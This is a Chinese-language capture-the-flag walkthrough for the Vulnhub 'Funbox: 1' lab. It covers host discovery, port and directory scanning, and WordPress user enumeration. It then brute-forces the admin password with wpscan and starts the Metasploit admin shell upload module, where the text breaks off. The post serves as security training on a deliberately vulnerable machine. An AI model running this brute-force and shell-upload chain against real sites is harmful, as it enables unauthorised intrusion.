Vulnhub之Funbox 1靶机详细测试过程

打印 上一主题 下一主题

主题 913|帖子 913|积分 2739

Funbox

作者:jason_huawen
靶机信息

名称:Funbox: 1
地址:
  1. https://www.vulnhub.com/entry/funbox-1,518/
复制代码
识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: Finished!   |   Screen View: Unique Hosts                                                              
  4.                                                                                                                            
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                           
  10. 192.168.56.100  08:00:27:c7:64:09      1      60  PCS Systemtechnik GmbH                                                   
  11. 192.168.56.164  08:00:27:a7:af:87      1      60  PCS Systemtechnik GmbH           
复制代码
利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.164
NMAP扫描
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.164 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-10 21:17 EST
  4. Nmap scan report for bogon (192.168.56.164)
  5. Host is up (0.00013s latency).
  6. Not shown: 65531 closed tcp ports (reset)
  7. PORT      STATE SERVICE VERSION
  8. 21/tcp    open  ftp     ProFTPD
  9. 22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  10. | ssh-hostkey:
  11. |   3072 d2:f6:53:1b:5a:49:7d:74:8d:44:f5:46:e3:93:29:d3 (RSA)
  12. |   256 a6:83:6f:1b:9c:da:b4:41:8c:29:f4:ef:33:4b:20:e0 (ECDSA)
  13. |_  256 a6:5b:80:03:50:19:91:66:b6:c3:98:b8:c4:4f:5c:bd (ED25519)
  14. 80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
  15. |_http-server-header: Apache/2.4.41 (Ubuntu)
  16. |_http-title: Did not follow redirect to http://funbox.fritz.box/
  17. | http-robots.txt: 1 disallowed entry
  18. |_/secret/
  19. 33060/tcp open  mysqlx?
  20. | fingerprint-strings:
  21. |   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
  22. |     Invalid message"
  23. |_    HY000
  24. 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  25. SF-Port33060-TCP:V=7.92%I=7%D=1/10%Time=63BE1C3F%P=x86_64-pc-linux-gnu%r(N
  26. SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
  27. SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
  28. SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
  29. SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
  30. SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
  31. SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
  32. SF:nvalid\x20message"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
  33. SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
  34. SF:\x10\x88'\x1a\x0fInvalid\x20message"\x05HY000")%r(TerminalServerCookie
  35. SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
  36. SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message"
  37. SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
  38. SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
  39. SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message"\x05HY0
  40. SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
  41. SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
  42. SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message"\
  43. SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
  44. SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
  45. SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
  46. SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
  47. SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message"\x05HY000
  48. SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
  49. SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
  50. SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
  51. SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message"\
  52. SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
  53. MAC Address: 08:00:27:A7:AF:87 (Oracle VirtualBox virtual NIC)
  54. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  55. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  56. Nmap done: 1 IP address (1 host up) scanned in 26.83 seconds
复制代码
NMAP扫描结果表明目标主机有4个开放端口:21(FTP)、22(SSH)、80(HTTP)、33060(Mysqlx?)
获得Shell

21端口
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ ftp 192.168.56.164
  3. Connected to 192.168.56.164.
  4. 220 ProFTPD Server (Debian) [::ffff:192.168.56.164]
  5. Name (192.168.56.164:kali): anonymous
  6. 331 Password required for anonymous
  7. Password:
  8. 530 Login incorrect.
  9. ftp: Login failed
  10. ftp> quit
  11. 221 Goodbye.
复制代码

  • 目标主机不允许匿名访问;
  • FTP服务软件维ProFTDd,但版本未知
80端口

Kali Linux上浏览器访问80端口,返回错误,发现指向了funbox.fritz.box,将其加入/etc/hosts文件中:
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ sudo vim /etc/hosts                                       
  3.                                                                                                                              
  4. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  5. └─$ cat /etc/hosts
  6. 127.0.0.1       localhost
  7. 127.0.1.1       kali
  8. ::1             localhost ip6-localhost ip6-loopback
  9. ff02::1         ip6-allnodes
  10. ff02::2         ip6-allrouters
  11. 192.168.56.164  funbox.fritz.box
复制代码
刷新页面,从返回页面得知为wordpress站点。
  1.                                                                                                                              
  2. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  3. └─$ curl http://funbox.fritz.box/robots.txt
  4. Disallow: /secret/
  5.                                                                                                                              
  6. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  7. └─$ curl http://funbox.fritz.box/secret/   
  8. No secrets here. Try harder !
  9.                                  
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ nikto -h http://192.168.56.164
  3. - Nikto v2.1.6
  4. ---------------------------------------------------------------------------
  5. + Target IP:          192.168.56.164
  6. + Target Hostname:    192.168.56.164
  7. + Target Port:        80
  8. + Start Time:         2023-01-10 21:26:11 (GMT-5)
  9. ---------------------------------------------------------------------------
  10. + Server: Apache/2.4.41 (Ubuntu)
  11. + The anti-clickjacking X-Frame-Options header is not present.
  12. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  13. + Uncommon header 'x-redirect-by' found, with contents: WordPress
  14. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  15. + Root page / redirects to: http://funbox.fritz.box/
  16. + Uncommon header 'link' found, with multiple values: (<http://funbox.fritz.box/index.php/wp-json/>; rel="https://api.w.org/",<http://funbox.fritz.box/>; rel=shortlink,)
  17. + No CGI Directories found (use '-C all' to force check all possible dirs)
  18. + Entry '/secret/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
  19. + "robots.txt" contains 1 entry which should be manually viewed.
  20. + Multiple index files found: /index.php, /default.htm
  21. + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
  22. + OSVDB-3092: /secret/: This might be interesting...
  23. + /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
  24. + /wp-links-opml.php: This WordPress script reveals the installed version.
  25. + OSVDB-3092: /license.txt: License file found may identify site software.
  26. + Cookie wordpress_test_cookie created without the httponly flag
  27. + OSVDB-3268: /wp-content/uploads/: Directory indexing found.
  28. + /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
  29. + /wp-login.php: Wordpress login found
  30. + 7916 requests: 0 error(s) and 17 item(s) reported on remote host
  31. + End Time:           2023-01-10 21:27:20 (GMT-5) (69 seconds)
  32. ---------------------------------------------------------------------------
  33. + 1 host(s) tested
  34.       *********************************************************************
  35.       Portions of the server's headers (Apache/2.4.41) are not in
  36.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  37.       to submit this information (*no server specific data*) to CIRT.net
  38.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
复制代码
nikto工具发现了wordpress管理后台,再尝试用wpscan工具之前,先扫描一下有无其他可利用的目录或者文件。
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ gobuster dir -u http://192.168.56.164 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  3. ===============================================================
  4. Gobuster v3.4
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.164
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.4
  13. [+] Timeout:                 10s
  14. ===============================================================
  15. 2023/01/10 21:28:50 Starting gobuster in directory enumeration mode
  16. ===============================================================
  17. /wp-content           (Status: 301) [Size: 321] [--> http://192.168.56.164/wp-content/]
  18. /wp-includes          (Status: 301) [Size: 322] [--> http://192.168.56.164/wp-includes/]
  19. /secret               (Status: 301) [Size: 317] [--> http://192.168.56.164/secret/]
  20. /wp-admin             (Status: 301) [Size: 319] [--> http://192.168.56.164/wp-admin/]
  21. /server-status        (Status: 403) [Size: 279]
  22. Progress: 220410 / 220561 (99.93%)
  23. ===============================================================
  24. 2023/01/10 21:29:32 Finished
  25. ===============================================================
  26.                                                                                                                              
  27. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  28. └─$ gobuster dir -u http://192.168.56.164 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
  29. ===============================================================
  30. Gobuster v3.4
  31. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  32. ===============================================================
  33. [+] Url:                     http://192.168.56.164
  34. [+] Method:                  GET
  35. [+] Threads:                 10
  36. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  37. [+] Negative Status codes:   404
  38. [+] User Agent:              gobuster/3.4
  39. [+] Extensions:              php,js,html,txt,sh
  40. [+] Timeout:                 10s
  41. ===============================================================
  42. 2023/01/10 21:29:43 Starting gobuster in directory enumeration mode
  43. ===============================================================
  44. /.html                (Status: 403) [Size: 279]
  45. /.php                 (Status: 403) [Size: 279]
  46. /index.php            (Status: 200) [Size: 61294]
  47. /wp-content           (Status: 301) [Size: 321] [--> http://192.168.56.164/wp-content/]
  48. /wp-login.php         (Status: 200) [Size: 4502]
  49. /license.txt          (Status: 200) [Size: 19915]
  50. /wp-includes          (Status: 301) [Size: 322] [--> http://192.168.56.164/wp-includes/]
  51. /readme.html          (Status: 200) [Size: 7278]
  52. /robots.txt           (Status: 200) [Size: 19]
  53. /secret               (Status: 301) [Size: 317] [--> http://192.168.56.164/secret/]
  54. /wp-trackback.php     (Status: 200) [Size: 135]
  55. /wp-admin             (Status: 301) [Size: 319] [--> http://192.168.56.164/wp-admin/]
  56. /xmlrpc.php           (Status: 405) [Size: 42]
  57. /.php                 (Status: 403) [Size: 279]
  58. /.html                (Status: 403) [Size: 279]
  59. /wp-signup.php        (Status: 302) [Size: 0] [--> http://funbox.fritz.box/wp-login.php?action=register]
  60. /server-status        (Status: 403) [Size: 279]
  61. Progress: 1322235 / 1323366 (99.91%)
  62. ===============================================================
  63. 2023/01/10 21:34:31 Finished
  64. ===============================================================
  65.                                                                                                                              
  66. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  67. └─$ dirb http://192.168.56.164
  68. -----------------
  69. DIRB v2.22   
  70. By The Dark Raver
  71. -----------------
  72. START_TIME: Tue Jan 10 21:34:37 2023
  73. URL_BASE: http://192.168.56.164/
  74. WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
  75. -----------------
  76. GENERATED WORDS: 4612                                                         
  77. ---- Scanning URL: http://192.168.56.164/ ----
  78. + http://192.168.56.164/index.php (CODE:200|SIZE:61294)                                                                     
  79. + http://192.168.56.164/robots.txt (CODE:200|SIZE:19)                                                                       
  80. ==> DIRECTORY: http://192.168.56.164/secret/                                                                                
  81. + http://192.168.56.164/server-status (CODE:403|SIZE:279)                                                                  
  82. ==> DIRECTORY: http://192.168.56.164/wp-admin/                                                                              
  83. ==> DIRECTORY: http://192.168.56.164/wp-content/                                                                           
  84. ==> DIRECTORY: http://192.168.56.164/wp-includes/                                                                           
  85. + http://192.168.56.164/xmlrpc.php (CODE:405|SIZE:42)                                                                       
  86.                                                                                                                            
  87. ---- Entering directory: http://192.168.56.164/secret/ ----
  88. + http://192.168.56.164/secret/index.html (CODE:200|SIZE:30)                                                               
  89.                                                                                                                            
  90. ---- Entering directory: http://192.168.56.164/wp-admin/ ----
  91. + http://192.168.56.164/wp-admin/admin.php (CODE:302|SIZE:0)                                                               
  92. ==> DIRECTORY: http://192.168.56.164/wp-admin/css/                                                                          
  93. ==> DIRECTORY: http://192.168.56.164/wp-admin/images/                                                                       
  94. ==> DIRECTORY: http://192.168.56.164/wp-admin/includes/                                                                     
  95. + http://192.168.56.164/wp-admin/index.php (CODE:302|SIZE:0)                                                               
  96. ==> DIRECTORY: http://192.168.56.164/wp-admin/js/                                                                           
  97. ==> DIRECTORY: http://192.168.56.164/wp-admin/maint/                                                                        
  98. ==> DIRECTORY: http://192.168.56.164/wp-admin/network/                                                                     
  99. ==> DIRECTORY: http://192.168.56.164/wp-admin/user/                                                                        
  100.                                                                                                                            
  101. ---- Entering directory: http://192.168.56.164/wp-content/ ----
  102. + http://192.168.56.164/wp-content/index.php (CODE:200|SIZE:0)                                                              
  103. ==> DIRECTORY: http://192.168.56.164/wp-content/plugins/                                                                    
  104. ==> DIRECTORY: http://192.168.56.164/wp-content/themes/                                                                     
  105. ==> DIRECTORY: http://192.168.56.164/wp-content/upgrade/                                                                    
  106. ==> DIRECTORY: http://192.168.56.164/wp-content/uploads/                                                                    
  107.                                                                                                                            
  108. ---- Entering directory: http://192.168.56.164/wp-includes/ ----
  109. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  110.     (Use mode '-w' if you want to scan it anyway)
  111.                                                                                                                            
  112. ---- Entering directory: http://192.168.56.164/wp-admin/css/ ----
  113. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  114.     (Use mode '-w' if you want to scan it anyway)
  115.                                                                                                                            
  116. ---- Entering directory: http://192.168.56.164/wp-admin/images/ ----
  117. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  118.     (Use mode '-w' if you want to scan it anyway)
  119.                                                                                                                            
  120. ---- Entering directory: http://192.168.56.164/wp-admin/includes/ ----
  121. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  122.     (Use mode '-w' if you want to scan it anyway)
  123.                                                                                                                            
  124. ---- Entering directory: http://192.168.56.164/wp-admin/js/ ----
  125. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  126.     (Use mode '-w' if you want to scan it anyway)
  127.                                                                                                                            
  128. ---- Entering directory: http://192.168.56.164/wp-admin/maint/ ----
  129. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  130.     (Use mode '-w' if you want to scan it anyway)
  131.                                                                                                                            
  132. ---- Entering directory: http://192.168.56.164/wp-admin/network/ ----
  133. + http://192.168.56.164/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                        
  134. + http://192.168.56.164/wp-admin/network/index.php (CODE:302|SIZE:0)                                                        
  135.                                                                                                                            
  136. ---- Entering directory: http://192.168.56.164/wp-admin/user/ ----
  137. + http://192.168.56.164/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                           
  138. + http://192.168.56.164/wp-admin/user/index.php (CODE:302|SIZE:0)                                                           
  139.                                                                                                                            
  140. ---- Entering directory: http://192.168.56.164/wp-content/plugins/ ----
  141. + http://192.168.56.164/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                      
  142.                                                                                                                            
  143. ---- Entering directory: http://192.168.56.164/wp-content/themes/ ----
  144. + http://192.168.56.164/wp-content/themes/index.php (CODE:200|SIZE:0)                                                      
  145.                                                                                                                            
  146. ---- Entering directory: http://192.168.56.164/wp-content/upgrade/ ----
  147. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  148.     (Use mode '-w' if you want to scan it anyway)
  149.                                                                                                                            
  150. ---- Entering directory: http://192.168.56.164/wp-content/uploads/ ----
  151. (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
  152.     (Use mode '-w' if you want to scan it anyway)
  153.                                                                               
  154. -----------------
  155. END_TIME: Tue Jan 10 21:34:57 2023
  156. DOWNLOADED: 36896 - FOUND: 14
复制代码
gobuster或者dirb没有扫描出更多有价值的目录或者文件。
  1.                                                                                                                              
  2. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  3. └─$ wpscan --url http://funbox.fritz.box/ -e u,p                          
  4. _______________________________________________________________
  5.          __          _______   _____
  6.          \ \        / /  __ \ / ____|
  7.           \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
  8.            \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
  9.             \  /\  /  | |     ____) | (__| (_| | | | |
  10.              \/  \/   |_|    |_____/ \___|\__,_|_| |_|
  11.          WordPress Security Scanner by the WPScan Team
  12.                          Version 3.8.22
  13.        Sponsored by Automattic - https://automattic.com/
  14.        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  15. _______________________________________________________________
  16. [+] URL: http://funbox.fritz.box/ [192.168.56.164]
  17. [+] Started: Tue Jan 10 21:36:24 2023
  18. Interesting Finding(s):
  19. [+] Headers
  20. | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
  21. | Found By: Headers (Passive Detection)
  22. | Confidence: 100%
  23. [+] robots.txt found: http://funbox.fritz.box/robots.txt
  24. | Found By: Robots Txt (Aggressive Detection)
  25. | Confidence: 100%
  26. [+] XML-RPC seems to be enabled: http://funbox.fritz.box/xmlrpc.php
  27. | Found By: Direct Access (Aggressive Detection)
  28. | Confidence: 100%
  29. | References:
  30. |  - http://codex.wordpress.org/XML-RPC_Pingback_API
  31. |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
  32. |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
  33. |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
  34. |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
  35. [+] WordPress readme found: http://funbox.fritz.box/readme.html
  36. | Found By: Direct Access (Aggressive Detection)
  37. | Confidence: 100%
  38. [+] Upload directory has listing enabled: http://funbox.fritz.box/wp-content/uploads/
  39. | Found By: Direct Access (Aggressive Detection)
  40. | Confidence: 100%
  41. [+] The external WP-Cron seems to be enabled: http://funbox.fritz.box/wp-cron.php
  42. | Found By: Direct Access (Aggressive Detection)
  43. | Confidence: 60%
  44. | References:
  45. |  - https://www.iplocation.net/defend-wordpress-from-ddos
  46. |  - https://github.com/wpscanteam/wpscan/issues/1299
  47. [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
  48. | Found By: Rss Generator (Passive Detection)
  49. |  - http://funbox.fritz.box/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
  50. |  - http://funbox.fritz.box/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
  51. [+] WordPress theme in use: twentyseventeen
  52. | Location: http://funbox.fritz.box/wp-content/themes/twentyseventeen/
  53. | Last Updated: 2022-11-02T00:00:00.000Z
  54. | Readme: http://funbox.fritz.box/wp-content/themes/twentyseventeen/readme.txt
  55. | [!] The version is out of date, the latest version is 3.1
  56. | Style URL: http://funbox.fritz.box/wp-content/themes/twentyseventeen/style.css?ver=20190507
  57. | Style Name: Twenty Seventeen
  58. | Style URI: https://wordpress.org/themes/twentyseventeen/
  59. | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
  60. | Author: the WordPress team
  61. | Author URI: https://wordpress.org/
  62. |
  63. | Found By: Css Style In Homepage (Passive Detection)
  64. |
  65. | Version: 2.3 (80% confidence)
  66. | Found By: Style (Passive Detection)
  67. |  - http://funbox.fritz.box/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
  68. [+] Enumerating Most Popular Plugins (via Passive Methods)
  69. [i] No plugins Found.
  70. [+] Enumerating Users (via Passive and Aggressive Methods)
  71. Brute Forcing Author IDs - Time: 00:00:00 <===============================================> (10 / 10) 100.00% Time: 00:00:00
  72. [i] User(s) Identified:
  73. [+] admin
  74. | Found By: Author Posts - Author Pattern (Passive Detection)
  75. | Confirmed By:
  76. |  Rss Generator (Passive Detection)
  77. |  Wp Json Api (Aggressive Detection)
  78. |   - http://funbox.fritz.box/index.php/wp-json/wp/v2/users/?per_page=100&page=1
  79. |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  80. |  Login Error Messages (Aggressive Detection)
  81. [+] joe
  82. | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  83. | Confirmed By: Login Error Messages (Aggressive Detection)
  84. [!] No WPScan API Token given, as a result vulnerability data has not been output.
  85. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
  86. [+] Finished: Tue Jan 10 21:36:34 2023
  87. [+] Requests Done: 57
  88. [+] Cached Requests: 8
  89. [+] Data Sent: 14.838 KB
  90. [+] Data Received: 573.9 KB
  91. [+] Memory used: 239.93 MB
  92. [+] Elapsed time: 00:00:09
复制代码
wpscan扫描出用户:admin    joe,接下来看是否可以破解admin的密码?
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox]
  2. └─$ wpscan --url http://funbox.fritz.box/ -U admin -P /usr/share/wordlists/rockyou.txt
  3. _______________________________________________________________
  4.          __          _______   _____
  5.          \ \        / /  __ \ / ____|
  6.           \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
  7.            \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
  8.             \  /\  /  | |     ____) | (__| (_| | | | |
  9.              \/  \/   |_|    |_____/ \___|\__,_|_| |_|
  10.          WordPress Security Scanner by the WPScan Team
  11.                          Version 3.8.22
  12.        Sponsored by Automattic - https://automattic.com/
  13.        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  14. _______________________________________________________________
  15. [+] URL: http://funbox.fritz.box/ [192.168.56.164]
  16. [+] Started: Tue Jan 10 21:36:56 2023
  17. Interesting Finding(s):
  18. [+] Headers
  19. | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
  20. | Found By: Headers (Passive Detection)
  21. | Confidence: 100%
  22. [+] robots.txt found: http://funbox.fritz.box/robots.txt
  23. | Found By: Robots Txt (Aggressive Detection)
  24. | Confidence: 100%
  25. [+] XML-RPC seems to be enabled: http://funbox.fritz.box/xmlrpc.php
  26. | Found By: Direct Access (Aggressive Detection)
  27. | Confidence: 100%
  28. | References:
  29. |  - http://codex.wordpress.org/XML-RPC_Pingback_API
  30. |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
  31. |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
  32. |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
  33. |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
  34. [+] WordPress readme found: http://funbox.fritz.box/readme.html
  35. | Found By: Direct Access (Aggressive Detection)
  36. | Confidence: 100%
  37. [+] Upload directory has listing enabled: http://funbox.fritz.box/wp-content/uploads/
  38. | Found By: Direct Access (Aggressive Detection)
  39. | Confidence: 100%
  40. [+] The external WP-Cron seems to be enabled: http://funbox.fritz.box/wp-cron.php
  41. | Found By: Direct Access (Aggressive Detection)
  42. | Confidence: 60%
  43. | References:
  44. |  - https://www.iplocation.net/defend-wordpress-from-ddos
  45. |  - https://github.com/wpscanteam/wpscan/issues/1299
  46. [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
  47. | Found By: Rss Generator (Passive Detection)
  48. |  - http://funbox.fritz.box/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
  49. |  - http://funbox.fritz.box/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
  50. [+] WordPress theme in use: twentyseventeen
  51. | Location: http://funbox.fritz.box/wp-content/themes/twentyseventeen/
  52. | Last Updated: 2022-11-02T00:00:00.000Z
  53. | Readme: http://funbox.fritz.box/wp-content/themes/twentyseventeen/readme.txt
  54. | [!] The version is out of date, the latest version is 3.1
  55. | Style URL: http://funbox.fritz.box/wp-content/themes/twentyseventeen/style.css?ver=20190507
  56. | Style Name: Twenty Seventeen
  57. | Style URI: https://wordpress.org/themes/twentyseventeen/
  58. | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
  59. | Author: the WordPress team
  60. | Author URI: https://wordpress.org/
  61. |
  62. | Found By: Css Style In Homepage (Passive Detection)
  63. |
  64. | Version: 2.3 (80% confidence)
  65. | Found By: Style (Passive Detection)
  66. |  - http://funbox.fritz.box/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
  67. [+] Enumerating All Plugins (via Passive Methods)
  68. [i] No plugins Found.
  69. [+] Enumerating Config Backups (via Passive and Aggressive Methods)
  70. Checking Config Backups - Time: 00:00:00 <==============================================> (137 / 137) 100.00% Time: 00:00:00
  71. [i] No Config Backups Found.
  72. [+] Performing password attack on Wp Login against 1 user/s
  73. [SUCCESS] - admin / iubire                                                                                                   
  74. Trying admin / iubire Time: 00:00:11 <                                               > (665 / 14345057)  0.00%  ETA: ??:??:??
  75. [!] Valid Combinations Found:
  76. | Username: admin, Password: iubire
  77. [!] No WPScan API Token given, as a result vulnerability data has not been output.
  78. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
  79. [+] Finished: Tue Jan 10 21:37:24 2023
  80. [+] Requests Done: 806
  81. [+] Cached Requests: 38
  82. [+] Data Sent: 265.434 KB
  83. [+] Data Received: 3.374 MB
  84. [+] Memory used: 287.012 MB
  85. [+] Elapsed time: 00:00:27
复制代码
用破解得到的用户名和密码登录wordpress后台。
当尝试修改404模板时,update file,返回错误:
  1. Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.
复制代码
看来通过修改404模板的方式不可行,需要看一下其他方式。
  1. msf6 > search wp_admin
  2. Matching Modules
  3. ================
  4.    #  Name                                       Disclosure Date  Rank       Check  Description
  5.    -  ----                                       ---------------  ----       -----  -----------
  6.    0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  Yes    WordPress Admin Shell Upload
  7. Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload
  8. msf6 > use exploit/unix/webapp/wp_admin_shell_upload
  9. [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
  10. msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
  11. Module options (exploit/unix/webapp/wp_admin_shell_upload):
  12.    Name       Current Setting  Required  Description
  13.    ----       ---------------  --------  -----------
  14.    PASSWORD                    yes       The WordPress password to authenticate with
  15.    Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  16.    RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
  17.                                          etasploit
  18.    RPORT      80               yes       The target port (TCP)
